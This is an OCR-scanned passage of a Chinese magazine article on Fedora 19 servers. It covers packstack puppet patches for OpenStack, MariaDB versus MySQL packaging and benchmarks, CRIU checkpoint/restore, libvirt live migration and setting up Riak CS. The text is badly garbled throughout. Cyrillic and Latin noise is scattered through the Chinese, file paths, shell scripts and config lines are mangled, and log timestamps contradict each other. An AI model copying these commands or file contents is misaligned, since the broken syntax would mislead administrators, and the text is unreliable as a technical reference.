user => 'root', 


有 mysql 包 ”这 样 的 错误 ， 从 而 导致 packstack 
结束 。 而 且 打 包 错 误 还 会 导致 安装 community- 
mysql-server 包 时 安装 的 不 是 community-mysgl- 
libs， 而 是 mariadb-libs 包 ， 这 也 是 个 问题 。 


(5) 修改 keystone 的 puppet 资 源 配置 文件 
ТЕ /usr/lib/python2.7/site-packages/packstack/ 
puppet/modules/keystone/manifests/init.pp 文件 的 


file ( '/etc/keystone/keystone.conf': 
mode => '0600', 


file < '/var/Log/keystone/keystone.log': 
owner => 'keystone', 


group => 'keystone', 
) 


ООЁ Keystone Ж н] LA I G NAV В C 
无 法 启动 的 问题 。 


(© 修改 nova 的 puppet 模 板 

将 /usr/lib/python2.7/site-packages/packstack/ 
pp  t/temp ates/novac ompt ер 文件 的 下 列 行 
(图 6 ) 注 解 挥 。 

Fedora 19 中 kvm.modules 文件 没有 用 ， 所 
以 将 其 删除 。 


(5) https://bugzilla.redhat.com/show bug.cgi?id-963198 


command => '/bin/sh /etc/sysconfig/modules/kvm.modules' 


J 


Class['nova::compute']-> Exec["load kvm"] 
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修改 xinetd 的 puppet 资 源 配置 文件 
将 /usr/lib/python2.7/site-packages/packstack/ 
puppet/modules/xinetd/manifests/init.pp 文件 的 


restart => '/etc/init.d/xinetd 


reload', 


修改 为 


restart => 'systemctl reload xinetd', 


> Fedora 的 服务 管理 已 经 迁移 到 了 
systemd， 所 以 使 用 systemctl 命令 。 


Swift 的 环形 缓冲 区 ( ring buffer ) 脚本 

/usr/lib/python2.7/site-packages/packstack/ 
puppet/modules/swift/lib/puppet/provider/swift | 
ring builder.rb X: fF Hi fo TZ fH PX ТЕ Upstream 
模块 已 经 得 到 了 修改 ， 只 需 蔡 换文 件 ” 就 能 
回避 错误 。 


© 执行 packstack 


# packstack --allinone 


能 够 避免 在 执行 后 检测 到 某 个 错误 而 再 
次 执行 packstack 命 令 时 ， 因 将 执行 目录 中 生 
成 的 answer 文 件 作 为 参数 而 导致 密码 不 匹配 
等 问题 。 


# packstack --answer-file packstack- 


answers-YYYYMMDD-hhmmss. txt 


ЇН J& 2 9E GD vn НО httpd но [a] p Р 94A C 
puppet 而 无 法 回避 ， 因 此 如 采 出 现 httpd 无 法 
启动 的 错误 ， 请 忽视 它 。 


修改 httpd 
删 际 puppet 生 成 的 不 必要 的 目录 PE 
httpd.conf。 


(6) https://github.com/stackforge/puppet-swift/commit/ee4a9d4 
8599bce332d0d7bdf4f8c0bbb6d9c6f2e 


rroga 94 у pm A =ч I AAA £# £ л 


— —À — — гг тч 


Гэ 


# rm -rf /etc/httpd/mod.d /etc/httpd/ 
conf/httpd.conf 
# cp -a ./httpd.conf /etc/httpd/conf/ 


中 设置 防火 墙 
Fedora 19 的 缺 省 防火 墙 是 frewalld， 因 此 
使 用 firewall-cmd 适 当地 允许 外 部 访问 。 
# firewall-cmd --permanent --add-port 
80/tcp 
# firewall-cmd --add-port 80/tcp 
如 果 想 试 试 将 防火 墙 设置 为 全 部 无 效 ， 请 
将 trusted zone 设置 为 缺 省 域 。 


# firewall-cmd --set-default-zone trusted 


5m 能 到 底 还 是 能 

安装 结束 后 ， 应 该 会 自动 生成 keystonerc_ 
admin X fF, ido Æ Uj [a] H BJ URL ЯП admin 
的 密码 。 不 过 还 是 不 能 从 容 地 说 声 Let's enjoy 
OpenStack! 能 到 拱 是 能 ， 处 卉 还 是 很 艰难 ， 
这 是 个 能 把 你 训练 成 OSS 专家 的 玩意 儿 ， 尽 情 
FZE (E) 


СУ 作 为 服务 器 的 Fedora 19 


ш MySQL 问题 的 “简单 的 来 龙 去 脉 

MySQL 的 初始 开发 者 MySQLAB 被 Sun 
Microsystems 收购 ,之 后 Sun Microsystems 又 
05 Oracle A ЇЇ)» FH Ж, Oracle E MySQL 项 Н 
变 成 了 更 加 封闭 的 开发 体制 ， 大 家 担心 他 们 不 
会 再 提供 与 脆弱 性 相关 联 的 信息 和 完整 的 调 测 

言 息 ， 因 此 就 在 Fedora 19 中 将 MariaDB 变 为 
T “mysql” 的 缺 省 数据 库 。 

MariaDB 是 MySQLAB 的 创始 人 之 一 
Michael Widenius 开 发 的 MySQL 的 拷贝 项 目 ， 
Ej MySQL 以 及 APIABI 具 有 完全 互 换 性 ， 数 
据 库 引擎 也 与 MySQL 差不多。 
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E MySQL 怎 么 样 了 ? 

JE Fedora 19 F fii H] yum MS E “mysql” 
的 话 ， 安 装 上 的 是 mariadb。 同 样 ， 所 安装 的 
服务 侣 包 “mysql-server ”也 是 mariadb-server。 

KIN, BRRR “mysql” W k 
Же community-mysql 包 ， 但 是 服务 需 包 方面 现在 
还 有 问题 HH JR ¿2 community-mysql-server, 
则 需要 安装 它 所 依存 的 per-DBD-MySQL， 
为 解决 这 一 引用 关系 , 还 需要 安装 提供 
libmysqlclient.so.18 Hj *mariadb-libs", mariadb- 
libs 以 及 community-mysql-libs 包 安装 的 文件 如 
КЛ Br 

从 上 面 数 第 二 行 是 community-mysql-libs 
提供 的 库 ， 剩 下 的 几 行 都 是 mariadb-libs 提供 
HJ BE 

以 笔者 确认 的 范围 来 看 mariadb-libs 和 
community-mysql-server 混 在 的 状态 并 没有 什么 
大 问题 , 但 是 考虑 到 版 本 的 不 同 以 及 今后 两 首 
的 相互 关系 可 能 会 发 生变 化 ， 还 是 觉得 不 徘 谱 。 
而 且 将 /etc/yum.conf 设 置 为 exclude=mariadb* 
并 不 能 解决 引用 的 问题 , 因而 无 法 安装 
community-mysql-server。 想 要 不 安装 mariadb- 
libs 只 安装 community-mysql-server, 需要 修改 


perl-DBD-MySQL 的 spec 文 件 并 重新 编译 (图 8 )。 


w[E7 mariadb-libs、community-mysql-libs 包 安装 的 文件 


# LL /usr/Lib64/mysqU/ 
合计 5964 

[rwxrwxrwx. 1 root root 
so.1018.0.0 


ЕЕ 
笔者 查看 了 包含 在 Fedora 19 的 安装 DVD 
里 的 引用 1libmysqlclient 的 RPM 包 , 发 现 所 
有 的 包 都 处 于 引用 mariadb-libs 的 状态 ， 而 没 
有 5| Hl community-mysal-libs JÉ: Е Pj J 
此 ， 迁 移 到 mariadb-libs 没 什么 问题 ， 但 是 不 
包含 在 DVD 里 的 包 ， 比 如 上 述 的 OpenStack 
Hj PackStack AR FE, sb H BE FARA XE S 
mariadb 的 问题 。 当 然 ， 不 通过 PackStack 进行 
安 猴 的 话 就 能 够 解决 这 个 问题 ， 但 还 是 觉得 应 
该 先 考 虑 向 mariadb 迁移 的 问题 。 
说 是 这 么 说 ， 如 果 mariadb 只 是 保持 API/ 
ABI 的 互 换 性 ， 功 能 上 并 不 比 mysql 更 好 的 话 ， 
也 就 很 难 迁 移 到 mariadb。 这 里 ， 笔 者 试 着 执 
1T f community-mysgl-bench £8 /usr/share/sgl- 
bench/run-all-tests (Æ 1 )。 包 的 版 本 等 信息 如 下 。 
* MySQL 
community-mysql-5.5.32-2 
community-mysql-server-5.5.32-2 


community-mysql-libs-5.5.32-2 
community-mysql-common-5.5.32-2 


* MariaDB 
mariadb-5.5.31-4 
mariadb-server-5.5.31-4 
mariadb-libs-5.5.31-4 


26 ТВ 3 21:05 Libmysqlclient.so.1018 -> Libmysqlclient. В 


-rwxr-xr-x. 1 root root 2989608 6H 14 18:06 libmysqlclient.so.1018.0.0 


[rwxrwxrwx. 1 root root 
so.18.0.0 


24 TF 3 21:04 Libmysqlclient.so.18 -> libmysqlclient. 


-rwxr-xr-x. 1 root root 3114576 6 月 19 18:58 Libmysqlclient.so.18.0.0 


w[E8 修改 perl-DBD-MySQL 的 spec 文 件 


BuildRequires: mariadb, mariadb-devel, zlib-devel 


BuildRequires: community-mysql, community-mysql-devel, zlib-devel 
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MariaDB 与 MySQL 的 标准 结 


MariaDB MySQL 


Operation 

ATIS 4.00 add 
alter-table 20.00 20.00 
big-tables 6.00 7.00 
connect 28.00 25.00 
create 96.00 115.00 
insert 1375.00 1845.00 
select 119.00 107.00 
wisconsin /.00 13.00 
TOTALS 1858.00 2463.00 


得 到 的 结果 不 是 严格 的 标准 结果 ， 只 能 
做 个 参考 ，MariaDB 的 SELECT 操作 较 慢 ， 但 
是 MariaDB 的 INSERT 操 作 却 快 很 多 。 在 连接 
不 缓冲 的 情况 下 ，MariaDB 的 connect 操 作 慢 
10%， 因 此 在 性 能 上 可 能 会 成 为 瓶颈 。 但 是 ， 
在 考虑 加 MariaDB 迁移 时 ， 这 并 不 会 被 视 为 
重大 问题 。 而 如 果 是 将 mysql 作 为 INSERT 操 
作 较 多 的 应 用 的 后 台 程 序 使 用 ， 则 值得 考虑 问 
MariaDB 迁移 。 


Checkpoint/Restore 


В (ZE Checkpoint / Restore? 

Checkpoint / Restore № 2012 4E. 3 H 7x 4i B5 
Linux 内 核 3.3 开 始 程序 合并 ,到 版 本 3.9 时 基 
本 上 已 经 合并 完毕 。Fedora 19 中 采用 了 内 核 
3.9, Checkpoint / Restore 所 必需 AJ CONFIG 
CHECKPOINT RESTORE 等 内 核 的 设置 为 有 效 。 
另外 ， 用 户 空 间 将 OpenVZ 的 项 目 CRIU ( http:// 
criu.org/Main Page ) 的 成 果 作 为 Fedora 的 crtools 
包 与 Checkpoint /Restore 打 包 在 了 一 起 。 

Checkpoint / Restore 能 人 够 冻结 执行 中 的 
用 户 进 程 并 输出 到 文件 ， 通过 恢复 该 文件 来 
fit uk 用户 进程 。KVM (Kernel-based Virtual 
Machine ) 等 已 经 实现 了 实时 迁移 (Live 
Migration )， 但 由 于 迁移 容 喜 只 是 将 进程 压 人 
分 区 ， 为 了 实现 相当 于 实时 迁移 的 功能 ， 还 是 
需要 Checkpoint / Restore。 

Checkpoint / Restore 的 其 他 用 途 还 有 : 将 
启动 费时 较 多 的 服务 以 启动 状态 保存 ， 从 而 能 
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够 在 需要 时 以 较 短 的 时 间 启 动 ， 以 及 在 远程 的 
JR 366 FB] (forko ) 进 程 等 。 


E 尝试 Checkpoint / Restore 
下 面 更 深入 地 介绍 一 下 包括 Fedora 19 中 


的 使 用 方法 在 内 的 内 容 。 要 使 用 Checkpoint / 


Restore ， 需 要 安装 crtools 包 。 


# yum -y install crtools 


写 出 如 下 的 简单 脚本 并 赋 子 执行 权限 。 


# cat test.sh 

#1 /bin/bash 

LANG-C 

while :; do 
echo $i: ' date' 
sleep 1 

done 

# chmod +x test.sh 


这 个 脚本 在 命令 行 (shell ) 下 执行 时 ， 如 果 
在 crtools F H] dump 观察 进程 的 各 种 信息 则 会 失 
败 。 这 是 由 于 crtools 与 执行 中 的 命令 行 有 共有 
资源 ， 因 此 需要 使 用 setsid 命 令 在 独立 状态 下 执 
行 ， 才 能 够 看 到 脚本 的 执行 并 查看 进程 ID。 


H# setsid ./test.sh < /dev/null &> test.log & 

# ps -C test.sh 
PID TTY 

2051 ? 


TIME CMD 
00:00:00 test.sh 


+ Be Tak T crtools dump i S, MEA 
前 目录 内 创建 大 量 的 dump 结 果 文 件 ， 因 此 请 
准备 合适 的 目录 。crtools 命令 的 各 个 选项 请 使 
FH crtools —help 确认 。 这 里 的 重点 是 指定 dump 
的 对 象 进 程 的 -tPID 选 项 。crtools dump 命令 
执行 后 ， 要 确认 脚本 执行 结束 (图 9 )。 

这 里 ， 请 确认 脚本 重 定 问 的 文件 test.log 的 


45:Tue Jul 2 23:56:18 JST 2013 
46:Tue Jul 2 23:56:19 JST 2015 


47:Tue Jul 2 25:36:20 JST 2013 
48:Tue Jul 2 23:36:21 JST 2013 
49:Tue Jul 2 23:36:22 JST 2013 
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аа 
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下 面 从 dump 中 列 出 进程 并 确认 进程 ID (图 
10). 

test.log Ж Е Z E f B? 第 49 行 到 第 S0 
行 之 间 大 约 经 过 了 3 分 钟 ， 但 序列 号 是 连续 的 ， 
可 见 进 程 被 恢复 运行 了 。 


49:Tue Jul 2 23:36:22 JST 2015 
50:Тие Jul 2 23:39:35 JST 2013 
51:Тие Jul 2 23:39:36 JST 2013 


52:Тие Jul 2 23:39:37 JST 2013 
53:Тие Jul 2 23:39:38 JST 2013 


上 述 的 例子 是 在 同一 台 机 硕 上 执行 的 ， 而 
如 果 把 必要 的 文件 (上 述 例子 中 的 testlog 文 件 ) 
传送 到 远程 的 机 天 上， 就 可 以 重新 局 动 进程 ， 
结果 和 在 同一 台 机 需 上 执行 一 样 。 但 是 发 送 端 
和 接收 端的 内 核 和 库 等 必须 是 同样 的 ， 否 则 恢 
复 运 行 的 进程 会 因为 segfault 错 误 而 停止 ， 请 
注意 这 一 点 。 

有 兴趣 的 读者 也 可 以 试验 一 下 代码 ,但 是 
最 好 还 是 先 读 一 下 CRIU 的 网 页 上 的 概要 说 明 
( http://criu.org/Checkpoint/Restore )。 


让 实时 迁移 成 为 可 能 | 


什么 是 实时 迁移 ? 
在 保持 虚拟 机 的 客户 端 OS 工作 的 状态 下 ， 


+” 9 生成 目录 并 执行 crtools dump 


# mkdir /tmp/test dump 
# crtools dump -t 2051 -D /tmp/test dump/ -vvv -o /tmp/dump.log && echo OK 


# ps -C test.sh 


PID TTY TIME CMD 


Уу 8110 确认 进程 ID 


不 倩 助 共享 存储 着， 将 虚拟 机 的 内 存 和 硬盘 映 
像 移动 到 其 他 的 虚拟 机 上 ， 这 一 功能 从 gemu 
0.12 开 始 就 已 经 被 包含 在 内 ， 但 是 系统 性 能 和 
使 用 体验 并 不 算 太 好 。 而 Fedora 19 中 出 现 的 
新 功能 实时 迁移 就 解决 了 这 些 问题 。 


m 实时 迁移 的 机 制 

libvirt 接 收 到 迁移 指示 ，libvirt 在 接收 端 
HJ BL йт ЕЛ 50 аети, 并 启动 NBD ( Network 
Block Device ) 服务 。 

接收 端 机 器 上 启动 NBD 服 务 ， 开 始 以 该 服 
务 器 作为 镜像 目的 机 的 驱动 镜像 任务 ， 镜 像 任 
务 稳 定 后 libvirt 发 出 migrate 命 令 。 传 送 结束 后 ， 
由 libvirt 停 止 接 收 端 机 器 上 执行 的 NBD 服务 。 


B 试 一 试 ! 

准备 两 台 安 装 了 Fedora 19 的 机 需 。 如 果 想 
在 一 台 机 器 上 试验 就 准备 Nested KVM 环 境 。 当 
然 , 其 中 任何 一 台 机 各 都 可 设置 为 能 够 使 用 
KVM 进 行 虚 拟 化 ,在 接收 问 机 需 上 安装 客户 端 
OS。 另 外 ， 请 确认 客户 端 OS 的 便 件 构成 在 接收 
问 机 着 上 也 能 使 用 。 例 如 ， 有 些 虚 拟 NIC 类 在 
Заоа ЕСН, 或 者 CPU 的 版 本 不 同等 。 

Hr oc ТЕ Be om pss E E JI ssh B ЖЛ, 
并 向 接收 端 机 器 传送 (图 11 )。 

ТИЛЕ Xon bbs EJ 80235 27) ig OS , 
确认 映像 文件 的 大 小 和 种 类 (图 12 )。 

然后 生成 在 接收 问 机 带 接 收 映 像 文件 的 “ 存 
TR" ( stub ) 硬盘 映像 (图 13 )。 


H# crtools restore -D /tmp/test dump/ -d -t 2051 -vvv -o /tmp/restore.log && echo OK 


# ps -C test.sh 
PID TTY 
2051 ? 


TIME CMD 
00:00:00 test.sh 
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Red Hat Enterprise Linux 7 冲刺 阶段 中 的 Fedora 19 


最 后 停止 接收 端 机 需 的 防火 墙 ， 或 者 将 其 
设置 为 防火 墙 信 用 域 (trusted zone )。 


# firewall-cmd --set-default-zone trusted 


准备 工作 这 就 完成 了 ， 开 始 传送 吧 CAT 14 )。 
传送 达到 100% 时 virsh 命令 就 结束 了 ， 可 


以 确认 接收 端 机 需 上 接收 到 的 客户 端 OS 正 在 


H virsh list -all 


[|11 


# ssh-keygen -t rsa 


9] 


m 今后 会 这 样 友 展 吗 ? 

眼下 还 需要 事先 生成 存根 硬盘 映像 文件 ， 
期 待 今后 可 以 取消 这 个 限制 。 为 外 ， 对 于 动态 
防火 墙 frewalld， 应 用 (在 这 里 是 libvirtd ) 能 够 
通过 D-Bus 变更 防火 墙 的 规则 。 因 此 ， 只 需 在 
迁移 时 加 装 打 开 NBD 服务 的 端口 功能 ， 就 能 
够 兼顾 便利 性 和 安全 性 。 


在 接收 端 机 器 上 生成 ssh 的 密 钥 ， 并 向 接收 喘 机 器 传送 


# scp /root/.ssh/id_rsa.pub rootaàdestination.host:/root/.ssh/authorized keys 


YEI ”确认 客户 端 05 和 映像 文件 的 大 小 及 种 类 


H virsh start fedora19 tobemigrated 


# gemu-img info /var/Lib/Libvirt/1mages/fedora19 tobemigrated.img 
image: /var/lib/libvirt/images/fedora19 tobemigrated.img 


file format: raw 
virtual size: 8.06 (8589934592 bytes) 
disk size: 8.06 


有 图 13 生成 存根 〈stub ) 硬 盘 映 像 文 件 


# gemu-img create -f гама /var/lib/Libvirt/images/fedora19 tobemigrated.img 86 


有 图 14 EX 


# mkdir /tmp/t# virsh migrate --verbose --p2p --copy-storage-all --live fedora19 tobemigrated qemu+ssh:// F4 


destination.host/system 


Е: [100 %] PID TTY TIME CMD 
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Storage, AFE). 


A^ Riak CS 解决 的 问题 。 


在 秋 叶 原 买 来 各 种 部 件 ， 组 逆 好 服务 融 ， 


搭建 好 文件 服务 器 ， 运 行 了 差 不 过 1 年 后 ， 某 
天 由 于 磁盘 故障 丢失 了 数据 ， 接 着 开始 学 习 数 
据 备份 ， 然 后 就 逐渐 了 解 了 软件 RAID ZFS 和 
LVM: (笔者 想当然 地 认为 ) 这 是 每 个 计算 机 
技术 人 员 的 必 经 之 路 。 疾 着 再 次 搭建 RAID、 制 
作 LVM， 之 后 却 因为 不 知道 哪 块 物理 磁盘 坏 抒 
而 又 丢失 了 数据 …… 不 知 不 觉 间 这 已 经 是 很 久 
远 的 事 了 吧 。 

但 是 如 今 很 多 大 文件 也 可 以 简单 地 在 云 P 
上 进行 备份 了 。 不 论 是 怎样 的 文件 ， 只 要 支付 
个 人 能 承受 的 费用 ， 就 可 以 把 TB 级 别 的 数据 放 
置 在 云端 了 。 对 于 觉得 在 家 里 维护 服务 器 很 麻 
烦 的 人 来 说 ， 这 应 该 是 一 件 很 开心 的 事 吧 。 

在 讨论 云 这 个 词 的 时 候 可 能 很 少 会 提 及 ， 
按照 家 庭 用 的 互联 网 合同 ， 日 本 绝 大 多 数 的 
ISP 包 都 存在 着 一 定 的 上 传 限 制 。 比 如 ， 限 制 每 
天 可 上 传 的 流量 、 对 于 流量 超标 的 用 户 限制 带 
宽 等 。 这 个 在 互联 网 的 架构 上 是 没有 办 法 的 ， 
因为 下 行 流量 便宜 ， 上 行 流 量 收费 是 ISP 的 传 
统 商 业 模 式 。 


分 布 式 数据 库 “ 未 来 工房 ” 


(D 本 文中 的 “ 云 ” 是 指 “ 云 存储 ”， 而 非 IJaaS Paas 等 。 
@) Internet Service Provider， 即 因特网 服务 提供 商 。 
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使 用 Riak CS 在 自己 家 里 备份 
| 一 一 关于 安装 与 设置 


文 / 上 西康 太 ( Basho Japan 股 份 有 限 公 司 kota@basho.com ) 
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等 介绍 一 个 使 之 成 为 可 能 的 软件 一 -Riak CS ( Cloud 


因此 ， 对 于 拥有 几 十 GB 的 数据 ， 并 且 会 频 
繁 地 访问 、 更 新 这 些 数据 的 人 来 说 ， 在 云 上 存 
储 数据 是 一 个 不 太 现 实 的 事 。 

但 对 于 习惯 维护 家 里 的 服务 器 ,或 者 拥有 
的 数据 量 要 是 存储 在 云 上 会 花费 巨额 费用 的 用 
户 来 说 ， 云 的 壁垒 则 有 点 高 ， 还 是 要 在 家 里 拱 
建 存 储 来 保存 数据 。 

但 是 ， 在 家 里 搭建 维护 存储 也 是 一 件 非 常 
麻烦 的 事 。 

本 文中 将 介绍 一 个 能 够 解决 这 一 问题 的 软 
件 一 一 Riak CS @。 

Riak CS 正如 它 的 名 字 那 样 ， 是 一 个 云端 存 
储 的 软件 。 通 过 使 用 Riak CS， 大 部 分 硬件 故障 
都 可 以 以 很 少 的 运 维 工作 得 到 处 理 ， 并 且 它 拥 
有 几乎 可 以 无 限 扩展 的 存储 空间 , 不 会 丢失 数据 ， 
可 以 长 久 地 提供 服务 。 

Riak CS 的 大 概 的 原理 是 ， 将 用 户 的 管理 信 
息 、 分 割 为 块 ( Chunk ) 的 对 象 ， 以 及 所 有 元 数 
据 都 只 在 Riak 里 保存 。 因 此 ,使 用 Riak CS 就 
可 以 有 量 受 Riak 的 所 有 优点 。 换 句 话 说，Riak CS 
不 需要 除 Riak 以 外 的 其 他 数据 库 来 保存 元 数据 ， 
Riak CS 目 己 也 不 在 内 部 保存 任何 数据 。Riak 上 
的 Riak CS 就 像 是 HTTP 的 应 用 服务 器 一 样 运行 
着 。 因 此 ，Riak CS 的 进程 的 维护 也 很 简单 。 
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(3) http://docs.basho.com/riakcs/latest/ 
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A^: TORRES WEEN 


Amazon S3 虽然 是 去 存储 ， m ИЯ HTTP 
和 HTTPS 接 口 ， 以 前 的 存储 所 拥有 的 SCSI 和 
InfiniBand 这 些 接 口 它 都 不 支持 。 通 过 采用 非 
iSCSI 的 Restful HTTP 的 形式 ， 大 幅 降 低 了 客户 


"ng P1) ded Ze HE 

因此 ， 很 多 用 户 自 己 开 发 了 S3 的 客户 端 和 
可 禾 盖 多 种 用 例 的 库 。 这 个 生态 系统 中 具有 代 
表 性 的 S3 Ж Pv b: 

* Зета 


* dragondisk 
* boto 


还 有 很 多 企业 、 个 人 公开 了 无 数 个 客户 问 。 
这 些 软件 可 以 直接 在 RiakCS 上 运行 ©, 用 户 也 可 
以 随意 使 用 。 这 里 我 们 介绍 一 下 DragonDisk@。 
© ке] |J ЛЕ Windows, Mac OS 
X. Linux 上 使 用 的 S3 的 GUI 客户 端 。 通 过 在 


DragonDisk 


窗口 左右 的 面板 之 间 进 行 拖 放 ， 就 可 以 复制 文 
件 和 目录 (图 1 )。 

另外 也 有 各 种 SDK， E C. СЁ, PHP, Ruby, 
Java 等 几乎 所 有 的 语言 中 ， 通 过 REST API 即 可 
使 用 Riak CS。 


A 进程 组 成 及 系统 设计 


PN 进程 组 成 


KAR, Riak CS 是 把 文件 分 割 为 1MB 
大 小 的 块 ， 并 把 块 存 储 在 Riak 上 的 应 用 服务 需 
Riak CS 系统 是 由 3 种 进程 组 成 的 (图 2 )。 


© Riak 
被 分 割 的 对 象 的 数据 、 对 象 的 元 数据 、 用 


使 用 Riak CS 在 自己 家 里 备份 


(4) disclaimer:Riak CS 中 有 并 没有 被 安装 的 API， 所 以 无 法 
保证 所 有 内 容 都 可 工作 。 

(5) http://www.dragondisk.com/ 

(6) http://docs.basho.com/riakcs/1.3.1/cookbooks/configuration/ 
Configuring-DragonDisk/ 
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户 信 息 ， 以 及 所 有 的 数据 都 在 此 保存 。 数 据 量 
增加 的 时 候 ， 只 要 增加 Riak 的 市 点 束 可 以 了 。 


@ Riak CS 

接收 从 客户 问 发 来 的 HTTP 请 求 ,进行 用 
Pu, 对象 的 生成 、 删 除 、 读 取 等 工作 。 就 
像 一 台 每 次 接收 到 客户 端的 请 求 后 就 对 Riak 执 
行 谈 出 、 写 人 操作 的 应 用 服务 硕 一 样 。 生 成 用 户 、 
生成 或 删除 bucket 的 时 候 ， 会 访问 Stanchion。 
由 于 数据 都 保存 在 Riak， 因 此 这 个 进程 可 以 随 
时 进行 启动、 停止 或 增加 的 操作 。 

如 果 是 在 目 己 家 里 使 用 , 因为 流量 不 会 很 大 ， 
只 要 一 个 Riak C 进 程 就 足够 了 。Riak CS 的 进 
程 只 有 一 个 的 话 ， 图 2 中 的 负载 均衡 器 也 不 需 
ЕГ» 


УЕ 1 通过 在 Windows 下 使 用 DragonDisk， 就 可 以 使 用 
GUI 来 访问 Riak CS 
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@ Stanchion 

ЖАНР BE Л. 1 ( bucket ) 的 生成 和 删 
除 等 需要 较 强 的 一 致 性 的 操作 。 因 为 操作 必须 
序列 化 ， 所 以 需要 在 每 个 CS 集群 只 局 动 一 个 进 
程 。 由 于 数据 都 保存 在 Riak 上 ， 因 此 这 个 进程 
可 以 随时 进行 启动 、 俘 止 的 工作 。 

Stanchion 只 能 局 动 一 个 进程 ， 所 以 元 余 化 
就 比较 困难 。 但 即使 Stanchion 人 停止 了 ， 也 只 是 
不 能 进行 用 户 和 bucket 的 生成 、 删 除 工 作 ， 其 
他 的 基本 数据 操作 还 是 可 以 的 。 因此 ， 在 自己 
家 里 运行 时 ， 为 了 不 增加 成 本 ， 可 以 把 这 个 进 
程 跑 在 Riak CS 等 所 在 的 同一 人 台 机 融 上 。 
Т 容量 设计 与 维护 费用 

存储 系统 中 最 重要 的 是 性 价 比 。 由 于 Riak 
中 有 合并 (compaction )， 各 个 节点 的 数据 分 区 
保留 20% 左 右 的 余 量 是 必须 的 。 另外， 为 了 把 
数据 保存 3 份 ， 假 设 需要 存储 30TB 的 数据 ， 则 
实际 的 可 用 容量 ， 


30TB x 3x —L— = 112.5TB 
大 约 需 要 保证 120TB 的 人 硬盘 。 以 每 个 硬盘 3TB 
来 算 ， 需 要 准备 40 块 。 普 通 的 AIX 主板 有 6 个 
SATA 接口 ， 可 以 算出 大 致 需 要 7 台 各 插 上 6 块 
3TB fil Zt BJ BL o 

但 是 ，Riak 的 最 低 启 动人 台数 为 5 台 ， 如 果 
因为 最 初 需要 的 容量 小 就 只 准备 2、3 台 的 话 ， 
那么 多 个 故障 的 情况 下 将 有 丢失 数据 的 危险 ， 
请 一 定 要 注意 。 

把 30TB 的 数据 保存 在 Amazon S3 上 ， 每 个 
月 为 10 日 元 /GB， 即 使 不 读 取 数据 ， 每 月 也 需 
要 30 万 日 元 的 费用 。 另 一 方面 ,7 GUAE RR 
话 ， 努 力 一 下 可 以 把 初始 费用 控制 在 70 万 日 元 
左右 。 虽 然 长 期 运行 7 台 服 务 器 的 电费 以 及 空 
调 费 可 能 是 一 笔 不 小 的 开销 , 但 是 通过 利用 各 
种 省 电 功 能 ， 或 者 在 长 时 间 不 用 的 时 候 关 闭 电 


CD 东京 区 域 的 标准 价格 为 $0.010， 所 以 简单 地 将 1 美金 换 
算 为 了 100 日 元 。 
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源 等 方式 ， 还 是 可 以 控制 住 费 用 的 。 
要 想得到 更 高 的 性 价 比 ， 也 可 以 选择 将 复 


制 数 从 3 降 到 2 的 架构 。 这 个 时 候 所 需 的 人 硬盘 大 
小 为 
l _ 
30TB x 2 х 0.80 = 75.0TB 


需要 的 人 硬盘 数量 大 致 降 到 了 原来 的 2/3。 但 减少 
复制 数 的 时 候 有 一 些 事 项 必须 要 注意 ， 虽 然 不 


会 因为 故障 而 导致 数 据 丢 失 ， 但 还 是 会 损失 一 
定 的 可 用 性 。 


л" 系统 的 维护 


有 一 句 名 言说 道 : “世界 上 只 有 两 种 计算 机 。 
已 经 坏 了 的 计算 机 和 还 没 坏 的 计算 机 ? 久 。 不 光 
是 发 生 故 障 的 时 候 ， 硬 件 升级 等 情况 下 也 需要 
进行 替换 。 只 要 注意 两 点 ，Riak CS 中 就 可 以 非 
常 简单 地 进行 硬件 的 替换 。 这 两 点 就 是 : 


1. 必须 同 时 只 有 一 个 Stanchion 进程 在 运行 
2. 因 为 备份 有 3 份 ， 所 以 不 要 同时 关闭 3 人 台 
机 器 


在 维护 的 过 程 中 只 要 还 守 这 两 点 ， 数 据 承 不 会 
丢失 或 损坏 。 

Riak CS 上 自己 不 在 本 地 保存 数据 ， 因 此 这 里 
主要 说 明 Riak 的 维护 。 
JN 节点 增加 

TIR X8 uec, HEN Riak D д А 
行 了 。 流 程 非常 简单 ， 在 安装 、 配 置 ( 稍 后 说 明 ) 
Riak 和 Riak CS 后 ， 输 入 如 下 命令 就 行 了 。 
$ sudo riak start 


$ sudo riak-admin cluster join F4 
riak910.0.0.1 


$ sudo riak-admin cluster plan 


$ sudo riak-admin cluster commit 


Ae ЕЛЕ МП BOUE BB CAE АОВ ЕЗДЕР SUB oU) , 
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riak(2)10.0.0.1 是 给 已 在 运行 的 Riak 指 定 一 
个 名 字 ( 和 名 字 已 在 各 个 机 顺 的 /etc/riak/vm.args 
E) 执行 完 这 命令 后 ， 就 会 自动 进行 数据 的 再 
配置 。 如 采 需 要 增加 多 台 机 器， 只 要 在 各 个 市 
点 上 执行 到 join 为 止 的 命令 ,最 后 在 某 一 个 市 
点 上 执行 plan 和 commit 命 令 就 行 了 。 

JIN 硬件 蔡 换 

在 Riak 的 设计 中 ， 服 务 顺 如果 有 故障 可 以 
很 方便 地 进行 蔡 换 。 基 本 上 ， 蔡 换 故 障 部 件 后 ， 
根据 需要 重新 安装 并 再 次 加 入 集群 就 行 了 。 

在 硬盘 故障 导致 数据 丢失 的 情况 下 ， 如 末 
是 存放 数据 的 人 硬盘 出 了 故障 ,但 不 影响 OS 等 
的 话 ， 只 要 把 人 硬盘 蔡 换 后 再 启动 就 行 了 。 名 为 
ring 的 目录 记录 了 集群 的 成 员 关 系 ， 如 果 这 个 
还 在 ， 就 可 以 直接 使 用 。 

便 盘 以 外 的 故障 的 情况 下 ,数据 没有 于 
失 一 一 这 里 的 数据 指 的 是 Riak 的 app.cong 里 指 
定 的 各 种 数据 保存 路 径 。 特 别 是 storage backend 
指定 的 数据 目录 (Riak CS 的 各 种 元 数据 和 对 象 
的 数据 等 ) 里 存储 的 数据 。 

如 有 果 沉 得 繁琐 的 操作 太 困 难 ， 可 以 将 其 当 
作 一 台新 的 机 融 重 新 安装 。 这 个 时 候 尽 量 分 配 
一 个 新 的 他 地址 ， 或 在 增加 市 点 前 进行 如 下 
设置 。 


$ sudo riak-admin down riak010.0.0.1 
$ sudo riak-admin force-remove F4 
riak910.0.0.1 


$ sudo riak-admin plan 


$ sudo riak-admin commit 


事先 把 节点 从 集群 中 移 除 。 

Riak, Riak CS 在 网 络 有 故障 时 ， 也 可 以 使 
用 能 够 被 访问 的 部 分 继续 运行 。 具 体 来 说 ， 只 
要 数据 能 被 访问 ，GET 方 法 就 能 执行 ， 而 PUT 
方法 则 几乎 都 能 执行 9. 

